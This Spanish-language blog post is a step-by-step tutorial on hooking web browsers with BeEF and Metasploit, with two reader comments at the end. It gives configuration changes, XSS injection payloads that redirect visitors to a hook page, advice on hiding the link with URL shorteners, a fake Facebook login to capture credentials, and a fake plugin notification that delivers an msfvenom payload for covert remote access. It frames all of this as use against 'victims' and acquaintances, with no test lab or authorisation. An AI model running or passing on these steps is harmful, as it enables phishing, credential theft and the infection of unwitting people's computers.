Saludos queridos fieles lectores en esta oportunidad centraremos una plataforma de explotación que ha tenido un relevante indice de aceptación por la comunidad de pentesting a nivel mundial desde ya hace casi 3 años, con ustedes BeEF.
¿Que es BeEF?
Es una herramienta de pruebas de penetración que se centra en el navegador web,en medio de la creciente preocupación por los ataques procedentes de Internet en contra de los clientes, incluyendo clientes móviles, carne de res permite que el probador de penetración profesional para evaluar la postura de seguridad real de un entorno de destino mediante el uso de vectores de ataque del lado del cliente. A diferencia de otros marcos de seguridad, carne de res se ve más allá del sistema perímetro de la red y el cliente endurecido, y examina explotabilidad en el marco de la puerta abierta: el navegador web. Beef enganchará una o más navegadores web y utilizarlos como cabezas de playa para el lanzamiento de los módulos de comando dirigidas y nuevos ataques contra el sistema desde dentro del contexto del navegador.
Estructura de infección de BeFF
Como podemos observar beef tiene como función principal infectar ordenadores mediante "Scripts" maliciosos las cuales pueden ser adjuntados con algunos payload y exploit de la conocida "msfconsole", esta herramienta ya tiene poco de 3 años en que se volvió viral en los ataques que en su mayoría se pueden adjuntar con "XSS" / "Main in the Middle" / Pishing /, entre otros métodos que se pueden utilizar de acuerdo a la imaginación de uno.
http://beefproject.com
En mi caso vamos a utilizar BeEF con mi viejo amigo "Metasploit", pero antes debemos configurar 2 archivos que se encuentran en la instalación del BeEF y la configuración con metasploit.
Configurando los servidores de arranque
root@kali:~# cd /usr/share/beef-xss
root@kali:/usr/share/beef-xss# nano config.yaml
Archivo original
--------------------------------------------------------------------------------------------------------------------------# You may override default extension configuration parameters here
extension:
requester:
enable: true
proxy:
enable: true
key: "beef_key.pem"
cert: "beef_cert.pem"
metasploit:
enable: false
social_engineering:
enable: true
evasion:
enable: false
console:
shell:
enable: false
ipec:
enable: true
# this is still experimental, we're working on it..
dns:
enable: true
Archivo configurado
--------------------------------------------------------------------------------------------------------------------------# to uniquely identify the victims. In this way you can easily associate phishing emails with hooked browser.
integration:
phishing_frenzy:
enable: false
# You may override default extension configuration parameters here
extension:
requester:
enable: true
proxy:
enable: true
key: "beef_key.pem"
cert: "beef_cert.pem"
metasploit:
enable: true
social_engineering:
enable: true
evasion:
enable: false
console:
shell:
enable: false
ipec:
enable: true
# this is still experimental, we're working on it..
dns:
enable: true
--------------------------------------------------------------------------------------------------------------------------
metasploit:
enable: true
luego de ello simplemente pasaremos a guardar el archivo con Control + O, luego de ello configuraremos el archivo de arranque de metasploit en la misma carpeta de BeEF, pero antes de hacerlo ejecutare "msfconsole", posteriormente nos da una contraseña en mi caso fue:
[*] MSGRPC Password: vUgPOxiO
root@kali:/usr/share/beef-xss# cd extensions/metasploit/
root@kali:/usr/share/beef-xss/extensions/metasploit# nano config.yaml
Lo único que cambiaremos sera el pass: abc123 al que nos asigno la credencial de beef en msfconsole la cual fue password: vUgPOxiO
Guardamos de la misma manera, esta ves si lo hice el ejemplo con imagen para no extender mucho el POST con texto necesario, cerraremos la ventada luego abriremos otra y ejecutaremos el BeEF
root@kali:~# cd /usr/share/beef-xss
root@kali:/usr/share/beef-xss# ./beef -x
Deseo aclarar que cada ves que cierren la terminal de metaspoit y vuelvan a cargar los módulos te otorgara una nueva contraseña y esa deben añadirla de igual manera en la configuración en el directorio usr/share/beef-xss/extensions/metasploit
Interactuando con la plataforma.
Para entrar a la plataforma primero debemos observar en la imagen de arriba que nos arroja una URL con Panel :UI URL: http://192.168.179.129:3000/ui/panel
Como vemos es el panel de administración de BeEF, las credenciales de usuario y contraseña son :
Login : beef
Pass : beef
Este es el entorno del servidor de infección y ataque que consta BeEF:
Una ves obtenido nuestro servidor solo nos faltaría infectar a nuestras victimas la pregunta seria ¿como lo hago?, pues para elaborar una prueba BeEF cuenta con 2 enlaces web locales, infectados para recibir la conexión de la victima las cuales son :
http://192.168.179.129:3000/demos/butcher/index.html
http://192.168.179.129:3000/demos/basic.html
¿Como podemos camuflar?
hoy en día existen cortadores de URL como sonhttps://goo.gl
https://bitly.com
como vemos la URL ha sido cortada y camuflada entonces como lo aprovecharía enviándola 1 x 1 a mis conocidos? o quizás utilizando un ataque muy conocido que pocos le toman atención.
El conocido "XSS" / Cross-site scripting Es un error típico de algunas paginas web, que tienen una mal cierre de código javascript , que puede ser aprovechado para insertar código malicioso en el servidor web.
Existen 2 tipos de XSS
Directa - ( llamada también persistente) Es un tipo de xss que permite insertar los códigos html que permitan insertar " <Script> " o " <Iflame>, la cual genera que el script se quede insertado para siempre en el directorio web afectado, en su mayoría en POST
Indirecta ( llamada también reflejada ) Este tipo de xss consiste modificar valores que estén en la pagina web para pasar dos variables de paginas web, que solamente aparecerá con el código añadido en GET mayormente.
Lo que haré sera aprovechar una vulnerabilidad de un sitio web, e inyectare código malicioso la cual es el siguiente:
"><script>document.location="http://192.168.179.129:3000/demos/butcher/index.html";</script>
"><script>document.location="http://bit.ly/1ZtkGPx";</script>
Una es con el link original que nos da el BeEF y el otro es el URL cortado y camuflado, podemos utilizar el que deseamos, en mi caso lo añadí el original, cuando la victima entre al servidor con el código malicioso que puedo ser enviado de muchas maneras, como emails, spam, entre muchos.
Una ves que nuestra victima sea direccionada a nuestra web infectada automáticamente recibiremos su sesión del navegador capturada como podemos ver aquí:
Para ejecutar un ataque dirigido podemos dirigirnos a los módulos que tienen funciones diferentes para ser ejecutados de la manera que uno desee, no obstante podemos obtener una sesión meterpreter si ejecutamos payloads de infección como JAVA o otros tipos de ataque dirigidos al navegador para infectar el sistema que deseamos.
Lo que vamos hacer ahora sera algo pequeño basado en la ingeniería social, nos iremos a la carpeta Social Engineering, entraremos a la sección Pretty Theft y pondremos nuestra dirección IP de nuestra maquina en la opción que esta en lado derecho.
Una ves que le demos "Execute", automáticamente estaremos enviando la ejecución del código malicioso que le aparecerá a la victima como veremos en la siguiente imagen:
Como vemos la opción que escogimos para enviar una captura de usuarios, fue la de Facebook es la que mas los niños rata quieren obtener xD!,una ves que la victima aya añadido su correo y contraseña, como vemos en la imagen al momento de darle el boton "Log In", automáticamente pasaremos a obtener las credenciales:
Lo que a mi me gusta mas es explotar los sistemas por los payload que ofrece metasploit y que mejor razón si utilizamos Metasploit y BeEF ! un alianza mortal.
Lo que haré primero sera crear un archivo malicioso en msfvenom luego eso encender el servidor apache y de escucha en metasploit como pueden ver en la imagen de aquí:
Una ves terminado con todo lo siguiente lo que haremos sera subir nuestro payload ejecutable en la carpeta /var/www/html, donde es el directorio de nuestro web de nuestro servidor local :
Una ves subido nuestro payload ya tenemos listo todo lo que necesitamos, pero si usted desea volver nuestro payload limpio para que no sea detectado por ningun AV, en este POST puede hacerlo:
http://backtrack-omar.blogspot.pe/2015/10/evadiendo-av-codificando-payloads-con.html
entonces ahora pasaremos a entrar al panel de BeEF para inyectar nuestro código malicioso al navegador de nuestra victima para que ejecute el payload,para ello iremos nuevamente a la carpeta "Social Engineering" y entraremos al directorio "Fake Notification Bar, En mi caso escogí la que es compatible con "Firefox", ya que el navegador infectado es ese y copiare el link con el ejecutable de mi servidor como ven.
Luego de configurar eso, le daré "Execute", entonces ya hemos enviando nuestro codigo malicioso a la victima como pueden ver :
Como vemos le acaba de llegar una notificación sobre un plugin que debe tener instalado, la victima como no sabría nada y le sera común encontrar ese mensaje lo instalara:
Una ves que la victima le aya dado guardar nuestro payload, le aparecerá en la barra de descargas, entonces la victima una ves que vaya abrir pensando que la va instalar :
Automáticamente abra nuestro archivo malicioso tendremos infectado el ordenador de la victima y accederemos remotamente sin que se aya dado cuenta.
Como lo digo BeEF es un viejo aliado de metasploit y puede ser utilizado en muchas técnicas de acuerdo a la imaginación de uno, como vieron yo utilice dos el "XSS" y un servidor con payload, espero les aya gustado.
Happy Hacking!!
Exelente tutorial amigo!
ResponderEliminarpero una dudota, para lanzar ataques que no esten en mi red como se tiene que configurar? con la ip publica donde va la local en los config.yaml?
un saludo, gracias
Por alguna razon no puedo entrar al panel de beef
ResponderEliminar